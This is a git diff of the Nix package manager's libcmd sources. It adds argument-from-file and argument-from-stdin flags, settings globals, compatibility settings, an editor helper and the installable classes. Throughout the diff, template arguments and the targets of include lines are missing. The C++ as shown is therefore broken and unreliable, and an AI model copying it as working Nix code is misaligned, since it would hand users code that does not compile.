{ +fetchers::Settings fetchSettings; + +static GlobalConfig::Register rFetchSettings(&fetchSettings); + +EvalSettings evalSettings { + settings.readOnlyMode, + { + { + "flake", + [](ref store, std::string_view rest) { + experimentalFeatureSettings.require(Xp::Flakes); + // FIXME `parseFlakeRef` should take a `std::string_view`. + auto flakeRef = parseFlakeRef(fetchSettings, std::string { rest }, {}, true, false); + debug("fetching flake search path element '%s''", rest); + auto storePath = flakeRef.resolve(store).fetchTree(store).first; + return store->toRealPath(storePath); + }, + }, + }, +}; + +static GlobalConfig::Register rEvalSettings(&evalSettings); + + +flake::Settings flakeSettings; + +static GlobalConfig::Register rFlakeSettings(&flakeSettings); + + +CompatibilitySettings compatibilitySettings {}; + +static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); + + MixEvalArgs::MixEvalArgs() { addFlag({ @@ -18,7 +59,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the value *expr* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "expr"}, - .handler = {[&](std::string name, std::string expr) { autoArgs[name] = 'E' + expr; }} + .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr{expr}}); }} }); addFlag({ @@ -26,86 +67,41 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the string *string* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "string"}, - .handler = {[&](std::string name, std::string s) { autoArgs[name] = 'S' + s; }}, + .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString{s}}); }}, + }); + + addFlag({ + .longName = "arg-from-file", + .description = "Pass the contents of file *path* as the argument *name* to Nix functions.", + .category = category, + .labels = {"name", "path"}, + .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile{path}}); }}, + .completer = completePath + }); + + addFlag({ + .longName = "arg-from-stdin", + .description = "Pass the contents of stdin as the argument *name* to Nix functions.", + .category = category, + .labels = {"name"}, + .handler = {[&](std::string name) { autoArgs.insert_or_assign(name, AutoArg{AutoArgStdin{}}); }}, }); addFlag({ .longName = "include", .shortName = 'I', .description = R"( - Add *path* to the Nix search path. The Nix search path is - initialized from the colon-separated [`NIX_PATH`](./env-common.md#env-NIX_PATH) environment - variable, and is used to look up the location of Nix expressions using [paths](../language/values.md#type-path) enclosed in angle - brackets (i.e., ``). + Add *path* to search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md) - For instance, passing + This option may be given multiple times. - ``` - -I /home/eelco/Dev - -I /etc/nixos - ``` - - will cause Nix to look for paths relative to `/home/eelco/Dev` and - `/etc/nixos`, in that order. This is equivalent to setting the - `NIX_PATH` environment variable to - - ``` - /home/eelco/Dev:/etc/nixos - ``` - - It is also possible to match paths against a prefix. For example, - passing - - ``` - -I nixpkgs=/home/eelco/Dev/nixpkgs-branch - -I /etc/nixos - ``` - - will cause Nix to search for `` in - `/home/eelco/Dev/nixpkgs-branch/path` and `/etc/nixos/nixpkgs/path`. - - If a path in the Nix search path starts with `http://` or `https://`, - it is interpreted as the URL of a tarball that will be downloaded and - unpacked to a temporary location. The tarball must consist of a single - top-level directory. For example, passing - - ``` - -I nixpkgs=https://github.com/NixOS/nixpkgs/archive/master.tar.gz - ``` - - tells Nix to download and use the current contents of the `master` - branch in the `nixpkgs` repository. - - The URLs of the tarballs from the official `nixos.org` channels - (see [the manual page for `nix-channel`](../nix-channel.md)) can be - abbreviated as `channel:`. For instance, the - following two flags are equivalent: - - ``` - -I nixpkgs=channel:nixos-21.05 - -I nixpkgs=https://nixos.org/channels/nixos-21.05/nixexprs.tar.xz - ``` - - You can also fetch source trees using [flake URLs](./nix3-flake.md#url-like-syntax) and add them to the - search path. For instance, - - ``` - -I nixpkgs=flake:nixpkgs - ``` - - specifies that the prefix `nixpkgs` shall refer to the source tree - downloaded from the `nixpkgs` entry in the flake registry. Similarly, - - ``` - -I nixpkgs=flake:github:NixOS/nixpkgs/nixos-22.05 - ``` - - makes `` refer to a particular branch of the - `NixOS/nixpkgs` repository on GitHub. + Paths added through `-I` take precedence over the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path) and the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH). )", .category = category, .labels = {"path"}, - .handler = {[&](std::string s) { searchPath.push_back(s); }} + .handler = {[&](std::string s) { + lookupPath.elements.emplace_back(LookupPath::Elem::parse(s)); + }} }); addFlag({ @@ -123,20 +119,24 @@ MixEvalArgs::MixEvalArgs() .category = category, .labels = {"original-ref", "resolved-ref"}, .handler = {[&](std::string _from, std::string _to) { - auto from = parseFlakeRef(_from, absPath(".")); - auto to = parseFlakeRef(_to, absPath(".")); + auto from = parseFlakeRef(fetchSettings, _from, absPath(".")); + auto to = parseFlakeRef(fetchSettings, _to, absPath(".")); fetchers::Attrs extraAttrs; if (to.subdir != "") extraAttrs["dir"] = to.subdir; fetchers::overrideRegistry(from.input, to.input, extraAttrs); }}, - .completer = {[&](size_t, std::string_view prefix) { - completeFlakeRef(openStore(), prefix); + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, openStore(), prefix); }} }); addFlag({ .longName = "eval-store", - .description = "The Nix store to use for evaluations.", + .description = + R"( + The [URL of the Nix store](@docroot@/store/types/index.md#store-url-format) + to use for evaluation, i.e. to store derivations (`.drv` files) and inputs referenced by them. + )", .category = category, .labels = {"store-url"}, .handler = {&evalStoreUrl}, @@ -146,30 +146,43 @@ MixEvalArgs::MixEvalArgs() Bindings * MixEvalArgs::getAutoArgs(EvalState & state) { auto res = state.buildBindings(autoArgs.size()); - for (auto & i : autoArgs) { + for (auto & [name, arg] : autoArgs) { auto v = state.allocValue(); - if (i.second[0] == 'E') - state.mkThunk_(*v, state.parseExprFromString(i.second.substr(1), absPath("."))); - else - v->mkString(((std::string_view) i.second).substr(1)); - res.insert(state.symbols.create(i.first), v); + std::visit(overloaded { + [&](const AutoArgExpr & arg) { + state.mkThunk_(*v, state.parseExprFromString(arg.expr, compatibilitySettings.nixShellShebangArgumentsRelativeToScript ? state.rootPath(absPath(getCommandBaseDir())) : state.rootPath("."))); + }, + [&](const AutoArgString & arg) { + v->mkString(arg.s); + }, + [&](const AutoArgFile & arg) { + v->mkString(readFile(arg.path.string())); + }, + [&](const AutoArgStdin & arg) { + v->mkString(readFile(STDIN_FILENO)); + } + }, arg); + res.insert(state.symbols.create(name), v); } return res.finish(); } -Path lookupFileArg(EvalState & state, std::string_view s) +SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir) { if (EvalSettings::isPseudoUrl(s)) { - auto storePath = fetchers::downloadTarball( - state.store, EvalSettings::resolvePseudoUrl(s), "source", false).first.storePath; - return state.store->toRealPath(storePath); + auto accessor = fetchers::downloadTarball( + state.store, + state.fetchSettings, + EvalSettings::resolvePseudoUrl(s)); + auto storePath = fetchToStore(*state.store, SourcePath(accessor), FetchMode::Copy); + return state.rootPath(CanonPath(state.store->toRealPath(storePath))); } else if (hasPrefix(s, "flake:")) { - settings.requireExperimentalFeature(Xp::Flakes); - auto flakeRef = parseFlakeRef(std::string(s.substr(6)), {}, true, false); - auto storePath = flakeRef.resolve(state.store).fetchTree(state.store).first.storePath; - return state.store->toRealPath(storePath); + experimentalFeatureSettings.require(Xp::Flakes); + auto flakeRef = parseFlakeRef(fetchSettings, std::string(s.substr(6)), {}, true, false); + auto storePath = flakeRef.resolve(state.store).fetchTree(state.store).first; + return state.rootPath(CanonPath(state.store->toRealPath(storePath))); } else if (s.size() > 2 && s.at(0) == '<' && s.at(s.size() - 1) == '>') { @@ -178,7 +191,7 @@ Path lookupFileArg(EvalState & state, std::string_view s) } else - return absPath(std::string(s)); + return state.rootPath(baseDir ? absPath(s, *baseDir) : absPath(s)); } } diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 1ec800613..c62365b32 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -1,14 +1,48 @@ #pragma once +///@file #include "args.hh" +#include "canon-path.hh" +#include "common-args.hh" +#include "search-path.hh" + +#include namespace nix { class Store; -class EvalState; -class Bindings; -struct MixEvalArgs : virtual Args +namespace fetchers { struct Settings; } + +class EvalState; +struct EvalSettings; +struct CompatibilitySettings; +class Bindings; +struct SourcePath; + +namespace flake { struct Settings; } + +/** + * @todo Get rid of global setttings variables + */ +extern fetchers::Settings fetchSettings; + +/** + * @todo Get rid of global setttings variables + */ +extern EvalSettings evalSettings; + +/** + * @todo Get rid of global setttings variables + */ +extern flake::Settings flakeSettings; + +/** + * Settings that control behaviors that have changed since Nix 2.3. + */ +extern CompatibilitySettings compatibilitySettings; + +struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; @@ -16,14 +50,24 @@ struct MixEvalArgs : virtual Args Bindings * getAutoArgs(EvalState & state); - Strings searchPath; + LookupPath lookupPath; std::optional evalStoreUrl; private: - std::map autoArgs; + struct AutoArgExpr { std::string expr; }; + struct AutoArgString { std::string s; }; + struct AutoArgFile { std::filesystem::path path; }; + struct AutoArgStdin { }; + + using AutoArg = std::variant; + + std::map autoArgs; }; -Path lookupFileArg(EvalState & state, std::string_view s); +/** + * @param baseDir Optional [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) + */ +SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir = nullptr); } diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh new file mode 100644 index 000000000..a129a957a --- /dev/null +++ b/src/libcmd/compatibility-settings.hh @@ -0,0 +1,36 @@ +#pragma once +#include "config.hh" + +namespace nix { +struct CompatibilitySettings : public Config +{ + + CompatibilitySettings() = default; + + // Added in Nix 2.24, July 2024. + Setting nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"( + Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified. + + Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. + + You may set this to `false` to temporarily revert to the behavior of Nix 2.23 and older. + + Using this setting is not recommended. + It will be deprecated and removed. + )"}; + + // Added in Nix 2.24, July 2024. + Setting nixShellShebangArgumentsRelativeToScript{ + this, true, "nix-shell-shebang-arguments-relative-to-script", R"( + Before Nix 2.24, relative file path expressions in arguments in a `nix-shell` shebang were resolved relative to the working directory. + + Since Nix 2.24, `nix-shell` resolves these paths in a manner that is relative to the [base directory](@docroot@/glossary.md#gloss-base-directory), defined as the script's directory. + + You may set this to `false` to temporarily revert to the behavior of Nix 2.23 and older. + + Using this setting is not recommended. + It will be deprecated and removed. + )"}; +}; + +}; diff --git a/src/libcmd/editor-for.cc b/src/libcmd/editor-for.cc new file mode 100644 index 000000000..6bf36bd64 --- /dev/null +++ b/src/libcmd/editor-for.cc @@ -0,0 +1,24 @@ +#include "editor-for.hh" +#include "environment-variables.hh" +#include "source-path.hh" + +namespace nix { + +Strings editorFor(const SourcePath & file, uint32_t line) +{ + auto path = file.getPhysicalPath(); + if (!path) + throw Error("cannot open '%s' in an editor because it has no physical path", file); + auto editor = getEnv("EDITOR").value_or("cat"); + auto args = tokenizeString(editor); + if (line > 0 && ( + editor.find("emacs") != std::string::npos || + editor.find("nano") != std::string::npos || + editor.find("vim") != std::string::npos || + editor.find("kak") != std::string::npos)) + args.push_back(fmt("+%d", line)); + args.push_back(path->string()); + return args; +} + +} diff --git a/src/libcmd/editor-for.hh b/src/libcmd/editor-for.hh new file mode 100644 index 000000000..8acd7011e --- /dev/null +++ b/src/libcmd/editor-for.hh @@ -0,0 +1,15 @@ +#pragma once +///@file + +#include "types.hh" +#include "source-path.hh" + +namespace nix { + +/** + * Helper function to generate args that invoke $EDITOR on + * filename:lineno. + */ +Strings editorFor(const SourcePath & file, uint32_t line); + +} diff --git a/src/libcmd/installable-attr-path.cc b/src/libcmd/installable-attr-path.cc new file mode 100644 index 000000000..8917e7a01 --- /dev/null +++ b/src/libcmd/installable-attr-path.cc @@ -0,0 +1,124 @@ +#include "globals.hh" +#include "installable-attr-path.hh" +#include "outputs-spec.hh" +#include "util.hh" +#include "command.hh" +#include "attr-path.hh" +#include "common-eval-args.hh" +#include "derivations.hh" +#include "eval-inline.hh" +#include "eval.hh" +#include "get-drvs.hh" +#include "store-api.hh" +#include "shared.hh" +#include "flake/flake.hh" +#include "eval-cache.hh" +#include "url.hh" +#include "registry.hh" +#include "build-result.hh" + +#include +#include + +#include + +namespace nix { + +InstallableAttrPath::InstallableAttrPath( + ref state, + SourceExprCommand & cmd, + Value * v, + const std::string & attrPath, + ExtendedOutputsSpec extendedOutputsSpec) + : InstallableValue(state) + , cmd(cmd) + , v(allocRootValue(v)) + , attrPath(attrPath) + , extendedOutputsSpec(std::move(extendedOutputsSpec)) +{ } + +std::pair InstallableAttrPath::toValue(EvalState & state) +{ + auto [vRes, pos] = findAlongAttrPath(state, attrPath, *cmd.getAutoArgs(state), **v); + state.forceValue(*vRes, pos); + return {vRes, pos}; +} + +DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths() +{ + auto [v, pos] = toValue(*state); + + if (std::optional derivedPathWithInfo = trySinglePathToDerivedPaths( + *v, + pos, + fmt("while evaluating the attribute '%s'", attrPath))) + { + return { *derivedPathWithInfo }; + } + + Bindings & autoArgs = *cmd.getAutoArgs(*state); + + PackageInfos packageInfos; + getDerivations(*state, *v, "", autoArgs, packageInfos, false); + + // Backward compatibility hack: group results by drvPath. This + // helps keep .all output together. + std::map byDrvPath; + + for (auto & packageInfo : packageInfos) { + auto drvPath = packageInfo.queryDrvPath(); + if (!drvPath) + throw Error("'%s' is not a derivation", what()); + + auto newOutputs = std::visit(overloaded { + [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { + std::set outputsToInstall; + for (auto & output : packageInfo.queryOutputs(false, true)) + outputsToInstall.insert(output.first); + if (outputsToInstall.empty()) + outputsToInstall.insert("out"); + return OutputsSpec::Names { std::move(outputsToInstall) }; + }, + [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { + return e; + }, + }, extendedOutputsSpec.raw); + + auto [iter, didInsert] = byDrvPath.emplace(*drvPath, newOutputs); + + if (!didInsert) + iter->second = iter->second.union_(newOutputs); + } + + DerivedPathsWithInfo res; + for (auto & [drvPath, outputs] : byDrvPath) + res.push_back({ + .path = DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = outputs, + }, + .info = make_ref(ExtraPathInfoValue::Value { + .extendedOutputsSpec = outputs, + /* FIXME: reconsider backwards compatibility above + so we can fill in this info. */ + }), + }); + + return res; +} + +InstallableAttrPath InstallableAttrPath::parse( + ref state, + SourceExprCommand & cmd, + Value * v, + std::string_view prefix, + ExtendedOutputsSpec extendedOutputsSpec) +{ + return { + state, cmd, v, + prefix == "." ? "" : std::string { prefix }, + std::move(extendedOutputsSpec), + }; +} + +} diff --git a/src/libcmd/installable-attr-path.hh b/src/libcmd/installable-attr-path.hh new file mode 100644 index 000000000..86c2f8219 --- /dev/null +++ b/src/libcmd/installable-attr-path.hh @@ -0,0 +1,58 @@ +#pragma once +///@file + +#include "globals.hh" +#include "installable-value.hh" +#include "outputs-spec.hh" +#include "command.hh" +#include "attr-path.hh" +#include "common-eval-args.hh" +#include "derivations.hh" +#include "eval-inline.hh" +#include "eval.hh" +#include "get-drvs.hh" +#include "store-api.hh" +#include "shared.hh" +#include "eval-cache.hh" +#include "url.hh" +#include "registry.hh" +#include "build-result.hh" + +#include +#include + +#include + +namespace nix { + +class InstallableAttrPath : public InstallableValue +{ + SourceExprCommand & cmd; + RootValue v; + std::string attrPath; + ExtendedOutputsSpec extendedOutputsSpec; + + InstallableAttrPath( + ref state, + SourceExprCommand & cmd, + Value * v, + const std::string & attrPath, + ExtendedOutputsSpec extendedOutputsSpec); + + std::string what() const override { return attrPath; }; + + std::pair toValue(EvalState & state) override; + + DerivedPathsWithInfo toDerivedPaths() override; + +public: + + static InstallableAttrPath parse( + ref state, + SourceExprCommand & cmd, + Value * v, + std::string_view prefix, + ExtendedOutputsSpec extendedOutputsSpec); +}; + +} diff --git a/src/libcmd/installable-derived-path.cc b/src/libcmd/installable-derived-path.cc new file mode 100644 index 000000000..4d1f83a1c --- /dev/null +++ b/src/libcmd/installable-derived-path.cc @@ -0,0 +1,65 @@ +#include "installable-derived-path.hh" +#include "derivations.hh" + +namespace nix { + +std::string InstallableDerivedPath::what() const +{ + return derivedPath.to_string(*store); +} + +DerivedPathsWithInfo InstallableDerivedPath::toDerivedPaths() +{ + return {{ + .path = derivedPath, + .info = make_ref(), + }}; +} + +std::optional InstallableDerivedPath::getStorePath() +{ + return derivedPath.getBaseStorePath(); +} + +InstallableDerivedPath InstallableDerivedPath::parse( + ref store, + std::string_view prefix, + ExtendedOutputsSpec extendedOutputsSpec) +{ + auto derivedPath = std::visit(overloaded { + // If the user did not use ^, we treat the output more + // liberally: we accept a symlink chain or an actual + // store path. + [&](const ExtendedOutputsSpec::Default &) -> DerivedPath { + auto storePath = store->followLinksToStorePath(prefix); + // Remove this prior to stabilizing the new CLI. + if (storePath.isDerivation()) { + auto oldDerivedPath = DerivedPath::Built { + .drvPath = makeConstantStorePathRef(storePath), + .outputs = OutputsSpec::All { }, + }; + warn( + "The interpretation of store paths arguments ending in `.drv` recently changed. If this command is now failing try again with '%s'", + oldDerivedPath.to_string(*store)); + }; + return DerivedPath::Opaque { + .path = std::move(storePath), + }; + }, + // If the user did use ^, we just do exactly what is written. + [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> DerivedPath { + auto drv = make_ref(SingleDerivedPath::parse(*store, prefix)); + drvRequireExperiment(*drv); + return DerivedPath::Built { + .drvPath = std::move(drv), + .outputs = outputSpec, + }; + }, + }, extendedOutputsSpec.raw); + return InstallableDerivedPath { + store, + std::move(derivedPath), + }; +} + +} diff --git a/src/libcmd/installable-derived-path.hh b/src/libcmd/installable-derived-path.hh new file mode 100644 index 000000000..e0b4f18b3 --- /dev/null +++ b/src/libcmd/installable-derived-path.hh @@ -0,0 +1,29 @@ +#pragma once +///@file + +#include "installables.hh" + +namespace nix { + +struct InstallableDerivedPath : Installable +{ + ref store; + DerivedPath derivedPath; + + InstallableDerivedPath(ref store, DerivedPath && derivedPath) + : store(store), derivedPath(std::move(derivedPath)) + { } + + std::string what() const override; + + DerivedPathsWithInfo toDerivedPaths() override; + + std::optional getStorePath() override; + + static InstallableDerivedPath parse( + ref store, + std::string_view prefix, + ExtendedOutputsSpec extendedOutputsSpec); +}; + +} diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc new file mode 100644 index 000000000..6c9ee6748 --- /dev/null +++ b/src/libcmd/installable-flake.cc @@ -0,0 +1,219 @@ +#include "globals.hh" +#include "installable-flake.hh" +#include "installable-derived-path.hh" +#include "outputs-spec.hh" +#include "util.hh" +#include "command.hh" +#include "attr-path.hh" +#include "common-eval-args.hh" +#include "derivations.hh" +#include "eval-inline.hh" +#include "eval.hh" +#include "get-drvs.hh" +#include "store-api.hh" +#include "shared.hh" +#include "flake/flake.hh" +#include "eval-cache.hh" +#include "url.hh" +#include "registry.hh" +#include "build-result.hh" + +#include +#include + +#include + +namespace nix { + +std::vector InstallableFlake::getActualAttrPaths() +{ + std::vector res; + if (attrPaths.size() == 1 && attrPaths.front().starts_with(".")){ + attrPaths.front().erase(0,1); + res.push_back(attrPaths.front()); + return res; + } + + for (auto & prefix : prefixes) + res.push_back(prefix + *attrPaths.begin()); + + for (auto & s : attrPaths) + res.push_back(s); + + return res; +} + +static std::string showAttrPaths(const std::vector & paths) +{ + std::string s; + for (const auto & [n, i] : enumerate(paths)) { + if (n > 0) s += n + 1 == paths.size() ? " or " : ", "; + s += '\''; s += i; s += '\''; + } + return s; +} + +InstallableFlake::InstallableFlake( + SourceExprCommand * cmd, + ref state, + FlakeRef && flakeRef, + std::string_view fragment, + ExtendedOutputsSpec extendedOutputsSpec, + Strings attrPaths, + Strings prefixes, + const flake::LockFlags & lockFlags) + : InstallableValue(state), + flakeRef(flakeRef), + attrPaths(fragment == "" ? attrPaths : Strings{(std::string) fragment}), + prefixes(fragment == "" ? Strings{} : prefixes), + extendedOutputsSpec(std::move(extendedOutputsSpec)), + lockFlags(lockFlags) +{ + if (cmd && cmd->getAutoArgs(*state)->size()) + throw UsageError("'--arg' and '--argstr' are incompatible with flakes"); +} + +DerivedPathsWithInfo InstallableFlake::toDerivedPaths() +{ + Activity act(*logger, lvlTalkative, actUnknown, fmt("evaluating derivation '%s'", what())); + + auto attr = getCursor(*state); + + auto attrPath = attr->getAttrPathStr(); + + if (!attr->isDerivation()) { + + // FIXME: use eval cache? + auto v = attr->forceValue(); + + if (std::optional derivedPathWithInfo = trySinglePathToDerivedPaths( + v, + noPos, + fmt("while evaluating the flake output attribute '%s'", attrPath))) + { + return { *derivedPathWithInfo }; + } else { + throw Error( + "expected flake output attribute '%s' to be a derivation or path but found %s: %s", + attrPath, + showType(v), + ValuePrinter(*this->state, v, errorPrintOptions) + ); + } + } + + auto drvPath = attr->forceDerivation(); + + std::optional priority; + + if (attr->maybeGetAttr(state->sOutputSpecified)) { + } else if (auto aMeta = attr->maybeGetAttr(state->sMeta)) { + if (auto aPriority = aMeta->maybeGetAttr("priority")) + priority = aPriority->getInt().value; + } + + return {{ + .path = DerivedPath::Built { + .drvPath = makeConstantStorePathRef(std::move(drvPath)), + .outputs = std::visit(overloaded { + [&](const ExtendedOutputsSpec::Default & d) -> OutputsSpec { + std::set outputsToInstall; + if (auto aOutputSpecified = attr->maybeGetAttr(state->sOutputSpecified)) { + if (aOutputSpecified->getBool()) { + if (auto aOutputName = attr->maybeGetAttr("outputName")) + outputsToInstall = { aOutputName->getString() }; + } + } else if (auto aMeta = attr->maybeGetAttr(state->sMeta)) { + if (auto aOutputsToInstall = aMeta->maybeGetAttr("outputsToInstall")) + for (auto & s : aOutputsToInstall->getListOfStrings()) + outputsToInstall.insert(s); + } + + if (outputsToInstall.empty()) + outputsToInstall.insert("out"); + + return OutputsSpec::Names { std::move(outputsToInstall) }; + }, + [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { + return e; + }, + }, extendedOutputsSpec.raw), + }, + .info = make_ref( + ExtraPathInfoValue::Value { + .priority = priority, + .attrPath = attrPath, + .extendedOutputsSpec = extendedOutputsSpec, + }, + ExtraPathInfoFlake::Flake { + .originalRef = flakeRef, + .lockedRef = getLockedFlake()->flake.lockedRef, + }), + }}; +} + +std::pair InstallableFlake::toValue(EvalState & state) +{ + return {&getCursor(state)->forceValue(), noPos}; +} + +std::vector> +InstallableFlake::getCursors(EvalState & state) +{ + auto evalCache = openEvalCache(state, getLockedFlake()); + + auto root = evalCache->getRoot(); + + std::vector> res; + + Suggestions suggestions; + auto attrPaths = getActualAttrPaths(); + + for (auto & attrPath : attrPaths) { + debug("trying flake output attribute '%s'", attrPath); + + auto attr = root->findAlongAttrPath(parseAttrPath(state, attrPath)); + if (attr) { + res.push_back(ref(*attr)); + } else { + suggestions += attr.getSuggestions(); + } + } + + if (res.size() == 0) + throw Error( + suggestions, + "flake '%s' does not provide attribute %s", + flakeRef, + showAttrPaths(attrPaths)); + + return res; +} + +std::shared_ptr InstallableFlake::getLockedFlake() const +{ + if (!_lockedFlake) { + flake::LockFlags lockFlagsApplyConfig = lockFlags; + // FIXME why this side effect? + lockFlagsApplyConfig.applyNixConfig = true; + _lockedFlake = std::make_shared(lockFlake( + flakeSettings, *state, flakeRef, lockFlagsApplyConfig)); + } + return _lockedFlake; +} + +FlakeRef InstallableFlake::nixpkgsFlakeRef() const +{ + auto lockedFlake = getLockedFlake(); + + if (auto nixpkgsInput = lockedFlake->lockFile.findInput({"nixpkgs"})) { + if (auto lockedNode = std::dynamic_pointer_cast(nixpkgsInput)) { + debug("using nixpkgs flake '%s'", lockedNode->lockedRef); + return std::move(lockedNode->lockedRef); + } + } + + return defaultNixpkgsFlakeRef(); +} + +} diff --git a/src/libcmd/installable-flake.hh b/src/libcmd/installable-flake.hh new file mode 100644 index 000000000..8e0a232ef --- /dev/null +++ b/src/libcmd/installable-flake.hh @@ -0,0 +1,89 @@ +#pragma once +///@file + +#include "common-eval-args.hh" +#include "installable-value.hh" + +namespace nix { + +/** + * Extra info about a \ref DerivedPath "derived path" that ultimately + * come from a Flake. + * + * Invariant: every ExtraPathInfo gotten from an InstallableFlake should + * be possible to downcast to an ExtraPathInfoFlake. + */ +struct ExtraPathInfoFlake : ExtraPathInfoValue +{ + /** + * Extra struct to get around C++ designated initializer limitations + */ + struct Flake { + FlakeRef originalRef; + FlakeRef lockedRef; + }; + + Flake flake; + + ExtraPathInfoFlake(Value && v, Flake && f) + : ExtraPathInfoValue(std::move(v)), flake(f) + { } +}; + +struct InstallableFlake : InstallableValue +{ + FlakeRef flakeRef; + Strings attrPaths; + Strings prefixes; + ExtendedOutputsSpec extendedOutputsSpec; + const flake::LockFlags & lockFlags; + mutable std::shared_ptr _lockedFlake; + + InstallableFlake( + SourceExprCommand * cmd, + ref state, + FlakeRef && flakeRef, + std::string_view fragment, + ExtendedOutputsSpec extendedOutputsSpec, + Strings attrPaths, + Strings prefixes, + const flake::LockFlags & lockFlags); + + std::string what() const override { return flakeRef.to_string() + "#" + *attrPaths.begin(); } + + std::vector getActualAttrPaths(); + + DerivedPathsWithInfo toDerivedPaths() override; + + std::pair toValue(EvalState & state) override; + + /** + * Get a cursor to every attrpath in getActualAttrPaths() that + * exists. However if none exists, throw an exception. + */ + std::vector> + getCursors(EvalState & state) override; + + std::shared_ptr getLockedFlake() const; + + FlakeRef nixpkgsFlakeRef() const; +}; + +/** + * Default flake ref for referring to Nixpkgs. For flakes that don't + * have their own Nixpkgs input, or other installables. + * + * It is a layer violation for Nix to know about Nixpkgs; currently just + * `nix develop` does. Be wary of using this / + * `InstallableFlake::nixpkgsFlakeRef` more places. + */ +static inline FlakeRef defaultNixpkgsFlakeRef() +{ + return FlakeRef::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", "nixpkgs"}}); +} + +ref openEvalCache( + EvalState & state, + std::shared_ptr lockedFlake); + +} diff --git a/src/libcmd/installable-value.cc b/src/libcmd/installable-value.cc new file mode 100644 index 000000000..1aa2e65c1 --- /dev/null +++ b/src/libcmd/installable-value.cc @@ -0,0 +1,68 @@ +#include "installable-value.hh" +#include "eval-cache.hh" +#include "fetch-to-store.hh" + +namespace nix { + +std::vector> +InstallableValue::getCursors(EvalState & state) +{ + auto evalCache = + std::make_shared(std::nullopt, state, + [&]() { return toValue(state).first; }); + return {evalCache->getRoot()}; +} + +ref +InstallableValue::getCursor(EvalState & state) +{ + /* Although getCursors should return at least one element, in case it doesn't, + bound check to avoid an undefined behavior for vector[0] */ + return getCursors(state).at(0); +} + +static UsageError nonValueInstallable(Installable & installable) +{ + return UsageError("installable '%s' does not correspond to a Nix language value", installable.what()); +} + +InstallableValue & InstallableValue::require(Installable & installable) +{ + auto * castedInstallable = dynamic_cast(&installable); + if (!castedInstallable) + throw nonValueInstallable(installable); + return *castedInstallable; +} + +ref InstallableValue::require(ref installable) +{ + auto castedInstallable = installable.dynamic_pointer_cast(); + if (!castedInstallable) + throw nonValueInstallable(*installable); + return ref { castedInstallable }; +} + +std::optional InstallableValue::trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx) +{ + if (v.type() == nPath) { + auto storePath = fetchToStore(*state->store, v.path(), FetchMode::Copy); + return {{ + .path = DerivedPath::Opaque { + .path = std::move(storePath), + }, + .info = make_ref(), + }}; + } + + else if (v.type() == nString) { + return {{ + .path = DerivedPath::fromSingle( + state->coerceToSingleDerivedPath(pos, v, errorCtx)), + .info = make_ref(), + }}; + } + + else return std::nullopt; +} + +} diff --git a/src/libcmd/installable-value.hh b/src/libcmd/installable-value.hh new file mode 100644 index 000000000..60207cd23 --- /dev/null +++ b/src/libcmd/installable-value.hh @@ -0,0 +1,121 @@ +#pragma once +///@file + +#include "installables.hh" +#include "flake/flake.hh" + +namespace nix { + +struct PackageInfo; +struct SourceExprCommand; + +namespace eval_cache { class EvalCache; class AttrCursor; } + +struct App +{ + std::vector context; + Path program; + // FIXME: add args, sandbox settings, metadata, ... +}; + +struct UnresolvedApp +{ + App unresolved; + App resolve(ref evalStore, ref store); +}; + +/** + * Extra info about a \ref DerivedPath "derived path" that ultimately + * come from a Nix language value. + * + * Invariant: every ExtraPathInfo gotten from an InstallableValue should + * be possible to downcast to an ExtraPathInfoValue. + */ +struct ExtraPathInfoValue : ExtraPathInfo +{ + /** + * Extra struct to get around C++ designated initializer limitations + */ + struct Value { + /** + * An optional priority for use with "build envs". See Package + */ + std::optional priority; + + /** + * The attribute path associated with this value. The idea is + * that an installable referring to a value typically refers to + * a larger value, from which we project a smaller value out + * with this. + */ + std::string attrPath; + + /** + * \todo merge with DerivedPath's 'outputs' field? + */ + ExtendedOutputsSpec extendedOutputsSpec; + }; + + Value value; + + ExtraPathInfoValue(Value && v) + : value(v) + { } + + virtual ~ExtraPathInfoValue() = default; +}; + +/** + * An Installable which corresponds a Nix language value, in addition to + * a collection of \ref DerivedPath "derived paths". + */ +struct InstallableValue : Installable +{ + ref state; + + InstallableValue(ref state) : state(state) {} + + virtual ~InstallableValue() { } + + virtual std::pair toValue(EvalState & state) = 0; + + /** + * Get a cursor to each value this Installable could refer to. + * However if none exists, throw exception instead of returning + * empty vector. + */ + virtual std::vector> + getCursors(EvalState & state); + + /** + * Get the first and most preferred cursor this Installable could + * refer to, or throw an exception if none exists. + */ + virtual ref + getCursor(EvalState & state); + + 